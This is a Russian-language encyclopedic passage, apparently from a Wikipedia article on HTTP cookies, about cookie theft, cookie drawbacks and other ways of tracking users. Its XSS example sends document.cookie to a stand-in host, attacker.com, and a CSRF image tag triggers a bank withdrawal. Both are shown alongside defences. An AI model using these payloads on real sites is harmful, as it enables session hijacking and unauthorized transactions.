Трафик в сети может быть перехвачен и прочитан компьютерами в сети, отличными от отправителя и получателя (особенно через незашифрованный открытый Wi-Fi ). Этот трафик включает в себя файлы cookie, отправленные в обычных незашифрованных сеансах HTTP . Если сетевой трафик не зашифрован, злоумышленники могут читать сообщения других пользователей в сети, включая файлы cookie HTTP, а также все содержимое разговоров, с целью проведения атаки типа «человек посередине» .
Злоумышленник может использовать перехваченные файлы cookie, чтобы выдать себя за пользователя и выполнить вредоносную задачу, например, перевести деньги с банковского счета жертвы.
Эту проблему можно решить, обеспечив безопасность связи между компьютером пользователя и сервером, используя протокол Transport Layer Security ( протокол HTTPS ) для шифрования соединения. Сервер может указать Secureфлаг при установке cookie, что заставит браузер отправлять cookie только по зашифрованному каналу, например, по соединению TLS. [46]
Если злоумышленник может заставить DNS-сервер кэшировать сфабрикованную запись DNS (так называемое отравление кэша DNS ), то это может позволить злоумышленнику получить доступ к файлам cookie пользователя. Например, злоумышленник может использовать отравление кэша DNS для создания сфабрикованной записи DNS, f12345.www.example.comкоторая указывает на IP-адрес сервера злоумышленника. Затем злоумышленник может опубликовать URL-адрес изображения со своего собственного сервера (например, http://f12345.www.example.com/img_4_cookie.jpg). Жертвы, прочитавшие сообщение злоумышленника, загрузят это изображение с f12345.www.example.com. Поскольку f12345.www.example.comявляется поддоменом www.example.com, браузеры жертв отправят все example.comсвязанные с ним файлы cookie на сервер злоумышленника.
Если злоумышленнику это удается, то обычно это вина интернет-провайдеров, которые не обеспечивают надлежащую защиту своих DNS-серверов. Однако серьезность этой атаки можно снизить, если целевой веб-сайт использует защищенные файлы cookie. В этом случае злоумышленнику придется столкнуться с дополнительной проблемой [95] получения сертификата TLS целевого веб-сайта от центра сертификации , поскольку защищенные файлы cookie могут передаваться только по зашифрованному соединению. Без соответствующего сертификата TLS браузеры жертв будут отображать предупреждающее сообщение о недействительном сертификате злоумышленника, что поможет удержать пользователей от посещения мошеннического веб-сайта злоумышленника и отправки злоумышленнику своих файлов cookie.
Файлы cookie также могут быть украдены с помощью техники, называемой межсайтовым скриптингом. Это происходит, когда злоумышленник использует веб-сайт, который позволяет своим пользователям размещать неотфильтрованный контент HTML и JavaScript . Размещая вредоносный код HTML и JavaScript, злоумышленник может заставить веб-браузер жертвы отправлять файлы cookie жертвы на веб-сайт, контролируемый злоумышленником.
Например, злоумышленник может опубликовать сообщение www.example.comсо следующей ссылкой:
< a href = "#" onclick = "window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;" > Нажмите здесь! </ a >
Когда другой пользователь нажимает на эту ссылку, браузер выполняет фрагмент кода внутри атрибута onclick, тем самым заменяя строку document.cookieсписком файлов cookie, которые доступны с текущей страницы. В результате этот список файлов cookie отправляется на attacker.comсервер. Если вредоносная публикация злоумышленника находится на веб-сайте HTTPS https://www.example.com, защищенные файлы cookie также будут отправлены на attacker.com в виде обычного текста.
Разработчики веб-сайта обязаны отфильтровывать такой вредоносный код.
Такие атаки можно смягчить, используя файлы cookie HttpOnly. Эти файлы cookie не будут доступны для клиентских скриптовых языков, таких как JavaScript, и, следовательно, злоумышленник не сможет собрать эти файлы cookie.
В старых версиях многих браузеров были уязвимости в реализации API XMLHttpRequest . Этот API позволяет страницам указывать прокси-сервер, который получит ответ, и этот прокси-сервер не подчиняется политике одного источника . Например, жертва читает публикацию злоумышленника на www.example.com, а скрипт злоумышленника выполняется в браузере жертвы. Скрипт генерирует запрос к www.example.comс прокси-сервером attacker.com. Поскольку запрос предназначен для www.example.com, все example.comфайлы cookie будут отправлены вместе с запросом, но направлены через прокси-сервер злоумышленника. Следовательно, злоумышленник сможет собрать файлы cookie жертвы.
Эта атака не будет работать с защищенными файлами cookie, поскольку они могут передаваться только по соединениям HTTPS , а протокол HTTPS требует сквозного шифрования (т. е. информация шифруется в браузере пользователя и расшифровывается на целевом сервере). В этом случае прокси-сервер увидит только необработанные, зашифрованные байты HTTP-запроса.
Например, Боб может просматривать чат-форум, где другой пользователь, Мэллори, разместил сообщение. Предположим, что Мэллори создал элемент HTML-изображения, который ссылается на действие на веб-сайте банка Боба (а не на файл изображения), например,
<img src= "http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" > Если банк Боба хранит его аутентификационную информацию в файле cookie и срок действия файла cookie не истек, то попытка браузера Боба загрузить изображение приведет к отправке формы вывода средств с его файлом cookie, тем самым авторизуя транзакцию без одобрения Боба.
Cookiejacking — это атака на Internet Explorer , которая позволяет злоумышленнику украсть сеансовые cookie-файлы пользователя, обманом заставив его перетащить объект по экрану. [96] Microsoft посчитала уязвимость малорисковой из-за «уровня требуемого взаимодействия с пользователем» [96] и необходимости того, чтобы пользователь уже вошел на веб-сайт, чей cookie-файл был украден. [97] Несмотря на это, исследователь попробовал провести атаку на 150 своих друзей в Facebook и получил cookie-файлы 80 из них с помощью социальной инженерии . [96]
Помимо проблем с конфиденциальностью, файлы cookie также имеют некоторые технические недостатки. В частности, они не всегда точно идентифицируют пользователей, их можно использовать для атак на безопасность, и они часто не соответствуют архитектурному стилю программного обеспечения Representational State Transfer ( REST ). [98] [99]
Если на компьютере используется более одного браузера, у каждого обычно есть отдельная область хранения для файлов cookie. Таким образом, файлы cookie не идентифицируют человека, а комбинацию учетной записи пользователя, компьютера и веб-браузера. Таким образом, любой, кто использует несколько учетных записей, компьютеров или браузеров, имеет несколько наборов файлов cookie. [100]
Аналогичным образом, файлы cookie не делают различий между несколькими пользователями, которые используют одну и ту же учетную запись , компьютер и браузер.
Некоторые операции, которые можно выполнить с помощью файлов cookie, можно выполнить и с помощью других механизмов.
JSON Web Token (JWT) — это автономный пакет информации, который может использоваться для хранения информации об идентификации и подлинности пользователя. Это позволяет использовать их вместо сеансовых cookie-файлов. В отличие от cookie-файлов, которые автоматически прикрепляются к каждому HTTP-запросу браузером, JWT должны быть явно прикреплены к каждому HTTP-запросу веб-приложением.
Протокол HTTP включает в себя базовую аутентификацию доступа и протоколы дайджест-аутентификации доступа , которые позволяют получить доступ к веб-странице только в том случае, если пользователь предоставил правильное имя пользователя и пароль. Если сервер требует такие учетные данные для предоставления доступа к веб-странице, браузер запрашивает их у пользователя и, получив их, браузер сохраняет и отправляет их в каждом последующем запросе страницы. Эта информация может быть использована для отслеживания пользователя.
Часть строки запроса URL -адреса — это часть, которая обычно используется для этой цели, но могут использоваться и другие части. Механизмы сеансов Java Servlet и PHP используют этот метод, если файлы cookie не включены.
Этот метод заключается в том, что веб-сервер добавляет строки запроса, содержащие уникальный идентификатор сеанса, ко всем ссылкам внутри веб-страницы. Когда пользователь переходит по ссылке, браузер отправляет строку запроса на сервер, позволяя серверу идентифицировать пользователя и поддерживать состояние.
Эти типы строк запросов очень похожи на файлы cookie, поскольку оба содержат произвольные фрагменты информации, выбранные сервером, и оба отправляются обратно на сервер при каждом запросе. Однако есть некоторые различия. Поскольку строка запроса является частью URL, если этот URL позже используется повторно, тот же прикрепленный фрагмент информации будет отправлен на сервер, что может привести к путанице. Например, если предпочтения пользователя закодированы в строке запроса URL, и пользователь отправляет этот URL другому пользователю по электронной почте , эти предпочтения будут использоваться и для этого другого пользователя.
Более того, если один и тот же пользователь заходит на одну и ту же страницу несколько раз из разных источников, нет гарантии, что каждый раз будет использоваться одна и та же строка запроса. Например, если пользователь посещает страницу, перейдя с внутренней страницы сайта в первый раз, а затем посещает ту же страницу, перейдя с внешней поисковой системы во второй раз, строки запроса, скорее всего, будут другими. Если бы в этой ситуации использовались файлы cookie, они были бы одинаковыми.
Другие недостатки строк запроса связаны с безопасностью. Хранение данных, идентифицирующих сеанс в строке запроса, позволяет проводить атаки фиксации сеанса , атаки регистрации реферера и другие атаки на безопасность . Передача идентификаторов сеанса в виде файлов cookie HTTP более безопасна.
Другой формой отслеживания сеанса является использование веб-форм со скрытыми полями. Этот метод очень похож на использование строк запроса URL для хранения информации и имеет много тех же преимуществ и недостатков. Фактически, если форма обрабатывается методом HTTP GET, то этот метод похож на использование строк запроса URL, поскольку метод GET добавляет поля формы в URL в качестве строки запроса. Но большинство форм обрабатываются с помощью HTTP POST, что приводит к отправке информации формы, включая скрытые поля, в теле запроса HTTP, который не является ни частью URL, ни частью cookie.
Такой подход дает два преимущества с точки зрения трекера. Во-первых, размещение информации об отслеживании в теле HTTP-запроса, а не в URL, означает, что она не будет замечена обычным пользователем. Во-вторых, информация о сеансе не копируется, когда пользователь копирует URL (например, чтобы добавить страницу в закладки или отправить ее по электронной почте).
Все современные веб-браузеры могут хранить довольно большой объем данных (2–32 МБ) через JavaScript, используя свойство DOMwindow.name . Эти данные можно использовать вместо сеансовых cookie-файлов. Этот метод можно объединить с объектами JSON /JavaScript для хранения сложных наборов сеансовых переменных на стороне клиента.
Недостатком является то, что каждое отдельное окно или вкладкаwindow.name при открытии изначально будет иметь пустое свойство.
В некоторых отношениях это может быть более безопасно, чем файлы cookie, поскольку его содержимое не отправляется автоматически на сервер при каждом запросе, как это происходит с файлами cookie, поэтому оно не уязвимо для сетевых атак по перехвату файлов cookie.
Некоторые пользователи могут отслеживаться по IP-адресу компьютера, запрашивающего страницу. Сервер знает IP-адрес компьютера, на котором запущен браузер (или прокси-сервер , если таковой используется), и теоретически может связать сеанс пользователя с этим IP-адресом.
Однако IP-адреса, как правило, не являются надежным способом отслеживания сеанса или идентификации пользователя. Многие компьютеры, предназначенные для использования одним пользователем, такие как офисные ПК или домашние ПК, находятся за транслятором сетевых адресов (NAT). Это означает, что несколько ПК будут совместно использовать публичный IP-адрес. Кроме того, некоторые системы, такие как Tor , предназначены для сохранения анонимности в Интернете , что делает отслеживание по IP-адресу непрактичным, невозможным или рискованным для безопасности.
Поскольку ETag кэшируются браузером и возвращаются с последующими запросами на тот же ресурс, сервер отслеживания может просто повторить любой ETag, полученный от браузера, чтобы гарантировать, что назначенный ETag сохраняется неопределенно долго (аналогично постоянным файлам cookie). Дополнительные поля заголовка кэширования также могут улучшить сохранность данных ETag.
В некоторых браузерах ETags можно очистить, очистив кэш браузера .
Кэш браузера также может использоваться для хранения информации, которая может использоваться для отслеживания отдельных пользователей. Этот метод использует тот факт, что веб-браузер будет использовать ресурсы, хранящиеся в кэше, вместо того, чтобы загружать их с веб-сайта, когда он определяет, что кэш уже имеет самую последнюю версию ресурса.
Например, веб-сайт может обслуживать файл JavaScript с кодом, который устанавливает уникальный идентификатор для пользователя (например, var userId = 3243242;). После первого посещения пользователя, каждый раз, когда пользователь заходит на страницу, этот файл будет загружаться из кэша, а не с сервера. Таким образом, его содержимое никогда не изменится.
Отпечаток браузера — это информация, собранная о конфигурации браузера, например, номер версии, разрешение экрана и операционная система, с целью идентификации. Отпечатки пальцев могут использоваться для полной или частичной идентификации отдельных пользователей или устройств, даже если файлы cookie отключены.
Базовая информация о конфигурации веб-браузера уже давно собирается службами веб-аналитики в попытке точно измерить реальный человеческий веб-трафик и исключить различные формы мошенничества с кликами . С помощью клиентских скриптовых языков возможен сбор гораздо более эзотерических параметров. [101] [102] Ассимиляция такой информации в одну строку представляет собой отпечаток устройства. В 2010 году EFF измерила не менее 18,1 бит энтропии , возможной из отпечатка браузера. [103] Отпечаток холста , более поздняя технология, утверждает, что добавляет еще 5,7 бит.
Некоторые веб-браузеры поддерживают механизмы сохранения, которые позволяют странице локально хранить информацию для последующего использования.
Стандарт HTML5 (который большинство современных веб-браузеров поддерживают в некоторой степени) включает JavaScript API, называемый Web storage , который допускает два типа хранения: локальное хранилище и хранилище сеансов. Локальное хранилище ведет себя аналогично постоянным куки-файлам, в то время как хранилище сеансов ведет себя аналогично куки-файлам сеансов, за исключением того, что хранилище сеансов привязано к времени жизни отдельной вкладки/окна (AKA сеанс страницы), а не ко всему сеансу браузера, как куки-файлы сеансов. [104]
Internet Explorer поддерживает постоянную информацию [105] в истории браузера, в избранном браузера, в хранилище XML («данные пользователя») или непосредственно на веб-странице, сохраненной на диске.
Некоторые плагины веб-браузеров также включают механизмы сохранения. Например, Adobe Flash имеет локальный общий объект , а Microsoft Silverlight имеет изолированное хранилище. [106]
{{cite web}}: CS1 maint: unfit URL (link)
